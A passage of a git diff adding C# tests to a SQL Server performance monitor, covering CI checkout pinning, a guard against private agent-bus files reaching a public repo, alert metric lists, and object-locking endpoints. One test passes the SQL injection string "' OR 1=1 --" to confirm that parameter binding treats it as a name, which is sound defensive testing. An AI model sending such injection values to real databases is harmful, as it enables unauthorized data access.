+    private static readonly Regex BranchRef = new(@"github\.(ref_name|ref|head_ref|base_ref)\b", RegexOptions.Compiled);
+
+    private sealed record Checkout(string Job, int Line, string? RefExpression);
+
+    private static List<string> Lines() => ReadRepoFile(NightlyWorkflow).Split('\n').ToList();
+
+    /// <summary>The job each line belongs to: the last 2-space-indented key under <c>jobs:</c>.</summary>
+    private static string[] JobOfLine(List<string> lines)
+    {
+        var jobs = new string[lines.Count];
+        var inJobs = false;
+        var current = "";
+        for (var i = 0; i < lines.Count; i++)
+        {
+            var line = lines[i].TrimEnd('\r');
+            if (line.StartsWith("jobs:", StringComparison.Ordinal))
+            {
+                inJobs = true;
+            }
+            else if (inJobs)
+            {
+                var m = JobKey.Match(line);
+                if (m.Success)
+                {
+                    current = m.Groups[1].Value;
+                }
+            }
+
+            jobs[i] = current;
+        }
+
+        return jobs;
+    }
+
+    private static List<Checkout> Checkouts()
+    {
+        var lines = Lines();
+        var jobs = JobOfLine(lines);
+        var found = new List<Checkout>();
+        for (var i = 0; i < lines.Count; i++)
+        {
+            if (!lines[i].Contains("uses: actions/checkout@", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            /* The step's `with:` block: lines after the `uses:` line indented deeper than the step's own
+               `- uses` dash, up to the next line that is not. */
+            var stepIndent = lines[i].IndexOf('-');
+            string? expression = null;
+            for (var j = i + 1; j < lines.Count; j++)
+            {
+                var next = lines[j].TrimEnd('\r');
+                if (next.Trim().Length == 0 || next.TrimStart().StartsWith('#'))
+                {
+                    continue;
+                }
+
+                var indent = next.Length - next.TrimStart().Length;
+                if (indent <= stepIndent)
+                {
+                    break;
+                }
+
+                var m = RefKey.Match(next);
+                if (m.Success)
+                {
+                    expression = m.Groups[1].Value.Trim();
+                    break;
+                }
+            }
+
+            found.Add(new Checkout(jobs[i], i + 1, expression));
+        }
+
+        return found;
+    }
+
+    [Fact]
+    public void NightlyWorkflow_HasCheckouts_AndTheScanSeesThem()
+    {
+        /* A scan that finds nothing passes every pin below vacuously. Seven jobs check out a ref and two
+           more check out the run's commit directly, so a parse that drops below that has lost its way. */
+        Assert.True(
+            Checkouts().Count >= 9,
+            "The checkout scan found fewer than 9 actions/checkout steps in nightly.yml; the parser, not the "
+            + "workflow, has probably broken.");
+    }
+
+    [Fact]
+    public void EveryNightlyCheckout_ResolvesToTheRunsCommit()
+    {
+        var offending = Checkouts()
+            .Where(c => c.RefExpression is null
+                || !c.RefExpression.Contains("github.sha", StringComparison.Ordinal))
+            .Select(c => $"job '{c.Job}' (line {c.Line}): ref = {c.RefExpression ?? "<none>"}")
+            .ToList();
+
+        Assert.True(
+            offending.Count == 0,
+            "A nightly checkout without a ref that resolves to github.sha builds the default branch's tip, "
+            + "or the dispatched branch's tip at the moment that job starts, so a merge to dev in the middle "
+            + "of a run makes later jobs build a different commit than earlier ones (#5616):\n  "
+            + string.Join("\n  ", offending));
+    }
+
+    [Fact]
+    public void NoNightlyRef_UsesABranchName()
+    {
+        var offending = Lines()
+            .Select((text, index) => (text: text.TrimEnd('\r'), line: index + 1))
+            .Where(x => RefKey.IsMatch(x.text) && BranchRef.IsMatch(x.text))
+            .Select(x => $"line {x.line}: {x.text.Trim()}")
+            .ToList();
+
+        Assert.True(
+            offending.Count == 0,
+            "A `ref:` built from a branch name (github.ref_name, github.ref, github.head_ref, github.base_ref) "
+            + "resolves to the branch tip when each job starts, not to the commit the run was dispatched at "
+            + "(#5616):\n  " + string.Join("\n  ", offending));
+    }
+
+    [Fact]
+    public void TheRedispatchJob_HasNoCheckout()
+    {
+        /* The redispatch job only runs `gh workflow run ... --ref dev`; the run it starts carries dev's
+           tip as its github.sha. A checkout added there would be the one place the rule above does not
+           reach, because the job runs from the scheduled event, where the dispatch expression falls to
+           the 'dev' branch name. */
+        var checkouts = Checkouts();
+        Assert.Contains(checkouts, c => c.Job != "redispatch");
+        Assert.DoesNotContain(checkouts, c => c.Job == "redispatch");
+    }
+}
diff --git a/Darling/Darling.Tests/NoInternalBusFilesGuardTests.cs b/Darling/Darling.Tests/NoInternalBusFilesGuardTests.cs
new file mode 100644
index 0000000000..2826133928
--- /dev/null
+++ b/Darling/Darling.Tests/NoInternalBusFilesGuardTests.cs
@@ -0,0 +1,55 @@
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5167's squash committed two files from the agent coordination bus into this repository, and
+/// this repository is PUBLIC. Scrubcheck found no customer, tenant or host names in them, but they
+/// carried internal vocabulary and the layout of a private tree, and once on <c>dev</c> they merge
+/// into every branch and into every seat's working copy.
+///
+/// <para>The cause was a path, not a judgement: a lane brief named a bus path that was not
+/// absolute, and a relative path resolves inside the CODE worktree, so a report written "to the
+/// bus" landed here. <c>.gitignore</c> now stops that accident. This test is what catches a FORCED
+/// add, which <c>.gitignore</c> cannot, and it fails loudly enough to explain itself to whoever
+/// trips it.</para>
+///
+/// <para>Deliberately in Darling.Tests rather than Lite.Tests: Lite.Tests cannot build or run on a
+/// Mac, so a guard placed there could not be verified by the seat that needs it most.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public class NoInternalBusFilesGuardTests
+{
+    /* Nothing from the coordination bus belongs in this tree: lane reports, design notes, seat
+       state and inbox/outbox messages all live in the separate private repository. */
+    private static readonly string[] BusDirectories = { "design", "inbox", "outbox" };
+
+    [Fact]
+    public void NoDirectoryFromTheAgentBus_IsPresentInThisRepository()
+    {
+        var root = RepoRoot();
+        var found = BusDirectories
+            .Select(d => Path.Combine(root, d))
+            .Where(Directory.Exists)
+            .SelectMany(d => Directory.EnumerateFiles(d, "*", SearchOption.AllDirectories))
+            .Select(f => Path.GetRelativePath(root, f).Replace(Path.DirectorySeparatorChar, '/'))
+            .OrderBy(f => f, System.StringComparer.Ordinal)
+            .ToArray();
+
+        Assert.True(
+            found.Length == 0,
+            "This repository is PUBLIC, and these tracked files belong to the PRIVATE agent "
+                + "coordination bus:\n  "
+                + string.Join("\n  ", found)
+                + "\n\nRemove them with `git rm -r` and keep bus writes out of the code tree. If a "
+                + "lane brief told you to write a report to a bus path, that path MUST be absolute: "
+                + "a relative path resolves inside the code worktree, which is exactly how #5167 "
+                + "leaked two files into this public repository.");
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", ".."));
+}
diff --git a/Darling/Darling.Tests/NoServiceObjectiveToResizeTests.cs b/Darling/Darling.Tests/NoServiceObjectiveToResizeTests.cs
index 4646101471..ad09403d5c 100644
--- a/Darling/Darling.Tests/NoServiceObjectiveToResizeTests.cs
+++ b/Darling/Darling.Tests/NoServiceObjectiveToResizeTests.cs
@@ -36,7 +36,7 @@ public void Predicate_IsTrueOnlyForEdition5WithTheSystemDatabaseEdition(int? eng
     public void RecommendationRules_StandDownOnTheSharedPredicate()
     {
         var source = CSharpSourceWalker.StripCommentsAndStrings(
-            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Recommendations.cs"));
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "FinOpsRecommendationFigures.cs"));
         Assert.Contains("ProvisioningVerdict.NotApplicable", source, StringComparison.Ordinal);
     }
 
@@ -80,12 +80,12 @@ public void LogicalServerMasterEdition_MatchesTheCollectorsFormat()
     }
 
     [Theory]
-    [InlineData("ViewerDataService.FinOps.Utilization.cs")]
-    [InlineData("ViewerDataService.FinOps.Inventory.cs")]
-    public void ProvisioningVerdictCallers_PassTheEdition(string file)
+    [InlineData("PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsUtilizationReader.cs")]
+    [InlineData("PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsInventoryReader.cs")]
+    public void ProvisioningVerdictCallers_PassTheEdition(params string[] segments)
     {
         var source = CSharpSourceWalker.StripCommentsAndStrings(
-            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file));
+            RepoFile.ReadRepoFile(["Darling", .. segments]));
         Assert.Matches(new Regex(@"ProvisioningVerdict\s*\.\s*Evaluate\s*\([^;]*edition", RegexOptions.Singleline), source);
     }
 }
diff --git a/Darling/Darling.Tests/NotificationRoutesRungTests.cs b/Darling/Darling.Tests/NotificationRoutesRungTests.cs
index f51c9eb636..1f76c6ea3b 100644
--- a/Darling/Darling.Tests/NotificationRoutesRungTests.cs
+++ b/Darling/Darling.Tests/NotificationRoutesRungTests.cs
@@ -460,10 +460,11 @@ public async Task InsertRoute_BumpsTheBeacon_ReloadsThroughTheProvider_AndResolv
             StoreConfigProvider.ApplyToConfig(config, view);
             /* The parent channel AFTER the apply: ApplyToConfig swaps Webhooks wholesale for the store's row,
                and this rig's row is the unseeded default. The point under test is the routes list riding the
-               same swap, which the Assert.Same below holds. */
+               same swap, which the Assert.Equal below holds. */
             config.Webhooks.SlackUrl = "https://hooks.example.invalid/parent";
             var settings = new DarlingAlertSettings(config);
-            Assert.Same(view.NotificationRoutes, settings.NotificationRoutes);
+            /* The settings read the routes through the opener (#5366), which hands back its own list: the same routes, not the same instance. */
+            Assert.Equal(view.NotificationRoutes, settings.NotificationRoutes);
 
             var decision = NotificationRouter.Resolve(DarlingSelfAlertEvaluator.CompressionJobMetric, settings.NotificationRoutes, settings);
             Assert.Equal((marker, routeId, RouteSource.Family), (decision.Slack.Destination, decision.Slack.RouteId, decision.Slack.Source));
diff --git a/Darling/Darling.Tests/NotificationRoutingTests.cs b/Darling/Darling.Tests/NotificationRoutingTests.cs
index c2f191b68d..3b792cc0bf 100644
--- a/Darling/Darling.Tests/NotificationRoutingTests.cs
+++ b/Darling/Darling.Tests/NotificationRoutingTests.cs
@@ -509,9 +509,16 @@ private static HashSet<string> DeliveredMetricNames()
             DarlingSelfAlertEvaluator.AnalysisSinglesDigestMetric,
             DarlingSelfAlertEvaluator.DiskPressureMetric, DarlingSelfAlertEvaluator.CustomRuleHealthMetric,
             DarlingSelfAlertEvaluator.StaleMuteMetric, DarlingSelfAlertEvaluator.WebTlsCertExpiryMetric,
+            /* #5288: the MCP endpoint's twin of the web certificate alert, fired through the descriptor's
+               ExpiryMetric (tls.ExpiryMetric), which the FireAsync literal scan below cannot see. */
+            DarlingSelfAlertEvaluator.McpTlsCertExpiryMetric,
             DarlingSelfAlertEvaluator.StoreSettingsMetric,
             DarlingSelfAlertEvaluator.CompressionJobMetric, DarlingSelfAlertEvaluator.JobCadenceMetric,
             DarlingSelfAlertEvaluator.RetentionHoldMetric, DarlingSelfAlertEvaluator.StoreUpgradeMetric,
+            /* #5450: fired through the constant, so the FireAsync literal scan below cannot see it. */
+            DarlingSelfAlertEvaluator.CollectionGapAtStartMetric,
+            /* #5450: fired through the constant too. */
+            DarlingSelfAlertEvaluator.CollectionGapsInHistoryMetric,
             /* #4299: fired through the constant (FireAsync(..., RawPurgeOverHorizonMetric, ...)), not a quoted
                literal, so the FireAsync regex scan below cannot see it — listed here like StoreSettingsMetric. */
             DarlingSelfAlertEvaluator.RawPurgeOverHorizonMetric,
@@ -519,6 +526,9 @@ private static HashSet<string> DeliveredMetricNames()
             DarlingSelfAlertEvaluator.NotificationChannelFailingMetric,
             /* #4732: fired through the constant, so the FireAsync literal scan below cannot see it. */
             DarlingSelfAlertEvaluator.FleetGateMetric,
+            /* #5493: fired through the constants (DecideStateAlert / FireAsync with CaptureDownMetric and
+               AgentDownMetric), so the FireAsync literal scan below cannot see them. */
+            DarlingSelfAlertEvaluator.CaptureDownMetric, DarlingSelfAlertEvaluator.AgentDownMetric,
             /* #3816: the policy-job self-heal's two new per-family names and its total_failures arm. Listed
                here rather than found by the FireAsync literal scan below because all three fire through a
                band record's field (band.Metric) rather than a quoted string at the call site — the scan
diff --git a/Darling/Darling.Tests/ObjectLockingDetailLiveTests.cs b/Darling/Darling.Tests/ObjectLockingDetailLiveTests.cs
new file mode 100644
index 0000000000..90339b6481
--- /dev/null
+++ b/Darling/Darling.Tests/ObjectLockingDetailLiveTests.cs
@@ -0,0 +1,174 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5311 (part of #5231, PR2 lane H2): the web Locking page's index detail pane. The web dispatch row of
+/// <c>get_object_locking</c> takes an optional selector (<c>detail_database</c>, <c>detail_schema</c>, <c>detail_table</c>,
+/// <c>detail_index</c>), each name bound as a parameter, and answers that one index's four counters (row lock count, page lock
+/// count, page latch wait count, page I/O latch wait count). Without the selector the answer is what it was before; an unknown
+/// index answers a plain sentence; the MCP tool has no selector parameter.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ObjectLockingDetailLiveTests
+{
+    private const string A = "DetailDbA";
+    private const string B = "DetailDbB";
+
+    private static Task PlantAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime capture,
+        string db, string? index, long rowLockCount, long pageLockCount, long latchCount, long ioLatchCount, long waitMs) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows,
+                  row_lock_count, row_lock_wait_count, row_lock_wait_in_ms, page_lock_count, page_lock_wait_count, page_lock_wait_in_ms, index_lock_promotion_count, page_latch_wait_count, page_latch_wait_in_ms, page_io_latch_wait_count, page_io_latch_wait_in_ms,
+                  user_seeks, user_scans, user_lookups, user_updates)
+              VALUES ($1,$2,$3,$4,$5,'dbo',1001,'Orders',$6,$7,'NONCLUSTERED',100,100,1000,
+                  $8,1,$12,$9,1,$12,0,$10,$12,$11,$12, 0,0,0,0)",
+            CollectionIdGenerator.Next(), capture, serverId, serverName, db, index is null ? 0 : 1, (object?)index ?? DBNull.Value,
+            rowLockCount, pageLockCount, latchCount, ioLatchCount, waitMs);
+
+    /// <summary>Two databases each holding an index with the SAME name, schema and table but different counters, and a heap.</summary>
+    private static async Task SeedAsync(NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime capture)
+    {
+        await PlantAsync(connection, ct, serverId, serverName, capture, A, "IX_same", 11, 22, 33, 44, 500);
+        await PlantAsync(connection, ct, serverId, serverName, capture, B, "IX_same", 111, 222, 333, 444, 900);
+        await PlantAsync(connection, ct, serverId, serverName, capture, A, null, 7, 8, 9, 10, 100);
+    }
+
+    private const string Cleanup = "DELETE FROM index_object_stats WHERE server_id = {0}";
+
+    private static JsonElement Detail(string json) => JsonDocument.Parse(json).RootElement.GetProperty("detail").Clone();
+
+    [Fact]
+    public Task Selector_AnswersOnlyTheIndexAskedFor_WithItsFourCounters_WhenTwoDatabasesShareTheName() =>
+        WithStoreAsync("detail-locking-two-dbs", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedAsync(connection, ct, serverId, serverName, now);
+
+            var a = Detail(await DarlingMcpObjectStatsTools.GetObjectLockingDetailAsync(postgres, serverName, A, "dbo", "Orders", "IX_same", ct));
+            Assert.Equal(A, a.GetProperty("database_name").GetString());
+            Assert.Equal(11, a.GetProperty("row_lock_count").GetInt64());
+            Assert.Equal(22, a.GetProperty("page_lock_count").GetInt64());
+            Assert.Equal(33, a.GetProperty("page_latch_wait_count").GetInt64());
+            Assert.Equal(44, a.GetProperty("page_io_latch_wait_count").GetInt64());
+
+            var b = Detail(await DarlingMcpObjectStatsTools.GetObjectLockingDetailAsync(postgres, serverName, B, "dbo", "Orders", "IX_same", ct));
+            Assert.Equal(B, b.GetProperty("database_name").GetString());
+            Assert.Equal(111, b.GetProperty("row_lock_count").GetInt64());
+            Assert.Equal(444, b.GetProperty("page_io_latch_wait_count").GetInt64());
+
+            /* A heap has no index name: the absent name selects it, and an index-named read never reaches it. */
+            var heap = Detail(await DarlingMcpObjectStatsTools.GetObjectLockingDetailAsync(postgres, serverName, A, "dbo", "Orders", null, ct));
+            Assert.Equal(JsonValueKind.Null, heap.GetProperty("index_name").ValueKind);
+            Assert.Equal(7, heap.GetProperty("row_lock_count").GetInt64());
+        }, Cleanup);
+
+    [Fact]
+    public Task Selector_AnUnknownIndex_AnswersAPlainSentence_NotAnError() =>
+        WithStoreAsync("detail-locking-unknown", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedAsync(connection, ct, serverId, serverName, now);
+
+            foreach (var json in new[]
+            {
+                await DarlingMcpObjectStatsTools.GetObjectLockingDetailAsync(postgres, serverName, A, "dbo", "Orders", "IX_missing", ct),
+                await DarlingMcpObjectStatsTools.GetObjectLockingDetailAsync(postgres, serverName, "NoSuchDb", "dbo", "Orders", "IX_same", ct),
+                /* the names match exactly: a different case is a different name */
+                await DarlingMcpObjectStatsTools.GetObjectLockingDetailAsync(postgres, serverName, A, "dbo", "Orders", "ix_same", ct),
+                /* a value that looks like SQL is only ever a name that matches nothing */
+                await DarlingMcpObjectStatsTools.GetObjectLockingDetailAsync(postgres, serverName, A, "dbo", "Orders", "' OR 1=1 --", ct),
+            })
+            {
+                using var doc = JsonDocument.Parse(json);
+                Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+                Assert.False(doc.RootElement.TryGetProperty("detail", out _));
+                Assert.Contains("No such index", doc.RootElement.GetProperty("message").GetString());
+            }
+        }, Cleanup);
+
+    [Fact]
+    public Task WebDispatch_WithoutTheSelector_IsTheListAnswerItWas_AndWithItIsTheDetail() =>
+        WithStoreAsync("detail-locking-dispatch", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedAsync(connection, ct, serverId, serverName, now);
+
+            var expected = await DarlingMcpObjectStatsTools.GetObjectLockingWithHeatAsync(postgres, serverName, 200, null, DatabaseFilter.All, ct);
+            var (status, body) = await FinOpsWebReadParityLiveTests.GetAsync(postgres, $"/api/read/get_object_locking?server={serverName}&limit=200", ct);
+            Assert.Equal(200, status);
+            Assert.Equal(expected, body);
+
+            var (detailStatus, detailBody) = await FinOpsWebReadParityLiveTests.GetAsync(postgres,
+                $"/api/read/get_object_locking?server={serverName}&detail_database={A}&detail_schema=dbo&detail_table=Orders&detail_index=IX_same", ct);
+            Assert.Equal(200, detailStatus);
+            Assert.Equal(22, Detail(detailBody).GetProperty("page_lock_count").GetInt64());
+
+            /* a selector missing a required name is refused before the store is read */
+            var (partialStatus, partialBody) = await FinOpsWebReadParityLiveTests.GetAsync(postgres,
+                $"/api/read/get_object_locking?server={serverName}&detail_schema=dbo&detail_table=Orders", ct);
+            Assert.Equal(400, partialStatus);
+            Assert.Contains("detail_database", partialBody);
+        }, Cleanup);
+
+    [Fact]
+    public void TheMcpTool_HasNoSelectorParameter_ItsSchemaIsTheListReads()
+    {
+        var parameters = typeof(DarlingMcpObjectStatsTools).GetMethod(nameof(DarlingMcpObjectStatsTools.GetObjectLocking))!
+            .GetParameters().Select(p => p.Name!).ToArray();
+        Assert.DoesNotContain(parameters, name => name.Contains("detail", StringComparison.OrdinalIgnoreCase)
+            || name.Contains("schema_name", StringComparison.OrdinalIgnoreCase)
+            || name.Contains("table", StringComparison.OrdinalIgnoreCase)
+            || name.Contains("index", StringComparison.OrdinalIgnoreCase));
+        Assert.Contains("server_name", parameters);
+        Assert.Contains("limit", parameters);
+    }
+
+    private static async Task WithStoreAsync(
+        string serverName, Func<NpgsqlConnection, NpgsqlDataSource, int, string, DateTime, CancellationToken, Task> body, string cleanupSql)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live Locking detail tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var serverId = ServerIdHelper.GetDeterministicHashCode(serverName);
+        var cleanup = string.Format(System.Globalization.CultureInfo.InvariantCulture, cleanupSql, serverId)
+                      + string.Format(System.Globalization.CultureInfo.InvariantCulture, "; DELETE FROM servers WHERE server_id = {0}", serverId);
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, cleanup);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+            await body(connection, postgres, serverId, serverName, DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-1), ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanupConnection, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanupConnection, cleanupCt, cleanup));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ObjectLockingHeatLiveTests.cs b/Darling/Darling.Tests/ObjectLockingHeatLiveTests.cs
new file mode 100644
index 0000000000..d3d5c4dc5f
--- /dev/null
+++ b/Darling/Darling.Tests/ObjectLockingHeatLiveTests.cs
@@ -0,0 +1,218 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5311 (part of #5231, PR2 lane H1): the web Locking page's heat bands. The service bands the four wait columns
+/// (row lock, page lock, page latch, page I/O latch), each on its OWN log scale over the rows the response returns (the
+/// filtered, capped page), with the shared helper <see cref="FinOpsHeatmapBuilder.ColumnLogIntensities"/> the desktop
+/// uses; a zero value has no band. The bands are WEB-ONLY: the MCP <c>get_object_locking</c> payload has no
+/// <c>heat</c> field.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ObjectLockingHeatLiveTests
+{
+    private const string A = "HeatDbA";
+    private const string B = "HeatDbB";
+    private const string C = "HeatDbC";
+
+    private static readonly string[] WaitProperties =
+        ["row_lock_wait_ms", "page_lock_wait_ms", "page_latch_wait_ms", "page_io_latch_wait_ms"];
+
+    private static Task PlantAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime capture,
+        string db, string index, long rowLockMs, long pageLockMs, long latchMs, long ioLatchMs) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows,
+                  row_lock_wait_count, row_lock_wait_in_ms, page_lock_wait_count, page_lock_wait_in_ms, index_lock_promotion_count, page_latch_wait_in_ms, page_io_latch_wait_in_ms, user_seeks, user_scans, user_lookups, user_updates)
+              VALUES ($1,$2,$3,$4,$5,'dbo',$6,$7,1,$8,'NONCLUSTERED',100,100,1000, 1,$9, 1,$10, 0,$11,$12, 0,0,0,0)",
+            CollectionIdGenerator.Next(), capture, serverId, serverName, db, 1000 + index.Length, "T_" + index, index,
+            rowLockMs, pageLockMs, latchMs, ioLatchMs);
+
+    /// <summary>
+    /// Four rows over three databases whose waits span orders of magnitude in every column, with a zero in three of
+    /// the columns. C holds the largest row-lock and page-lock waits, so a filter that drops C changes those two scales.
+    /// </summary>
+    private static async Task SeedAsync(NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime capture)
+    {
+        await PlantAsync(connection, ct, serverId, serverName, capture, A, "IX_a1", rowLockMs: 10, pageLockMs: 0, latchMs: 100_000, ioLatchMs: 5);
+        await PlantAsync(connection, ct, serverId, serverName, capture, A, "IX_a2", rowLockMs: 1_000, pageLockMs: 10, latchMs: 0, ioLatchMs: 0);
+        await PlantAsync(connection, ct, serverId, serverName, capture, B, "IX_b1", rowLockMs: 100, pageLockMs: 1, latchMs: 1_000, ioLatchMs: 5_000);
+        await PlantAsync(connection, ct, serverId, serverName, capture, C, "IX_c1", rowLockMs: 1_000_000, pageLockMs: 100_000, latchMs: 10, ioLatchMs: 50);
+    }
+
+    private const string Cleanup = "DELETE FROM index_object_stats WHERE server_id = {0}";
+
+    /// <summary>The bands the desktop's scale gives these rows: each column's intensity over the rows, cut into eight.</summary>
+    private static int?[][] ExpectedBands(JsonElement objects)
+    {
+        var rows = objects.EnumerateArray().ToList();
+        var perColumn = WaitProperties
+            .Select(p => FinOpsHeatmapBuilder.ColumnLogIntensities(rows.Select(r => r.GetProperty(p).GetInt64()).ToList()))
+            .ToList();
+        return rows.Select((_, i) => perColumn
+            .Select(col => col[i] > 0 ? (int?)Math.Min((int)Math.Floor(col[i] * 8), 7) : null)
+            .ToArray()).ToArray();
+    }
+
+    private static int?[][] ResponseBands(JsonElement objects) =>
+        objects.EnumerateArray()
+            .Select(r => r.GetProperty("heat").EnumerateArray()
+                .Select(e => e.ValueKind == JsonValueKind.Null ? (int?)null : e.GetInt32()).ToArray())
+            .ToArray();
+
+    private static string IndexOf(JsonElement row) => row.GetProperty("index_name").GetString()!;
+
+    [Fact]
+    public Task WebRead_BandsEachColumnOnItsOwnLogScale_LikeColumnLogIntensitiesOnTheSameRows() =>
+        WithStoreAsync("heat-locking-scale", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedAsync(connection, ct, serverId, serverName, now);
+
+            var root = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingWithHeatAsync(
+                postgres, serverName, 200, null, DatabaseFilter.All, ct)).RootElement;
+            var objects = root.GetProperty("objects");
+            Assert.Equal(4, objects.GetArrayLength());
+
+            var actual = ResponseBands(objects);
+            Assert.Equal(ExpectedBands(objects), actual);
+
+            /* Hand-checked against the seed: each column's largest value is band 7, a zero has no band, and the
+               smallest positive of a column spanning 1 to 100,000 is not shaded like its largest. */
+            var byIndex = objects.EnumerateArray().Select((r, i) => (Name: IndexOf(r), Bands: actual[i])).ToDictionary(x => x.Name, x => x.Bands);
+            Assert.Equal(7, byIndex["IX_c1"][0]);
+            Assert.Equal(7, byIndex["IX_c1"][1]);
+            Assert.Equal(7, byIndex["IX_a1"][2]);
+            Assert.Equal(7, byIndex["IX_b1"][3]);
+            Assert.Null(byIndex["IX_a1"][1]);
+            Assert.Null(byIndex["IX_a2"][2]);
+            Assert.Null(byIndex["IX_a2"][3]);
+            Assert.True(byIndex["IX_a1"][0] < byIndex["IX_c1"][0]);
+        }, Cleanup);
+
+    [Fact]
+    public Task WebRead_ADatabaseFilterThatDropsTheLargestRow_RescalesTheBandsOverTheFilteredRows() =>
+        WithStoreAsync("heat-locking-filter", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedAsync(connection, ct, serverId, serverName, now);
+
+            var all = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingWithHeatAsync(
+                postgres, serverName, 200, null, DatabaseFilter.All, ct)).RootElement.GetProperty("objects");
+            var filtered = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingWithHeatAsync(
+                postgres, serverName, 200, null, DatabaseFilter.Of([A, B]), ct)).RootElement.GetProperty("objects");
+
+            Assert.Equal(3, filtered.GetArrayLength());
+            Assert.DoesNotContain(filtered.EnumerateArray(), r => r.GetProperty("database_name").GetString() == C);
+            var bands = ResponseBands(filtered);
+            Assert.Equal(ExpectedBands(filtered), bands);
+
+            /* With C gone, A's 1,000 ms row-lock wait is the column's largest: band 7. Over every row it was far below C's. */
+            var a2Filtered = filtered.EnumerateArray().Select((r, i) => (Name: IndexOf(r), Bands: bands[i])).Single(x => x.Name == "IX_a2").Bands;
+            var allBands = ResponseBands(all);
+            var a2All = all.EnumerateArray().Select((r, i) => (Name: IndexOf(r), Bands: allBands[i])).Single(x => x.Name == "IX_a2").Bands;
+            Assert.Equal(7, a2Filtered[0]);
+            Assert.True(a2All[0] < 7);
+        }, Cleanup);
+
+    [Fact]
+    public Task WebRead_TheLimitCutsThePageFirst_AndTheBandsAreOverThePageOnly() =>
+        WithStoreAsync("heat-locking-cap", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedAsync(connection, ct, serverId, serverName, now);
+
+            var root = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLockingWithHeatAsync(
+                postgres, serverName, 2, null, DatabaseFilter.All, ct)).RootElement;
+            var objects = root.GetProperty("objects");
+            Assert.True(root.GetProperty("truncated").GetBoolean());
+            Assert.Equal(2, objects.GetArrayLength());
+            Assert.Equal(ExpectedBands(objects), ResponseBands(objects));
+        }, Cleanup);
+
+    [Fact]
+    public Task McpGetObjectLocking_HasNoHeatField_BecauseTheBandsAreWebOnly() =>
+        WithStoreAsync("heat-locking-mcp", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedAsync(connection, ct, serverId, serverName, now);
+
+            var root = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName)).RootElement;
+            var objects = root.GetProperty("objects");
+            Assert.Equal(4, objects.GetArrayLength());
+            foreach (var row in objects.EnumerateArray())
+            {
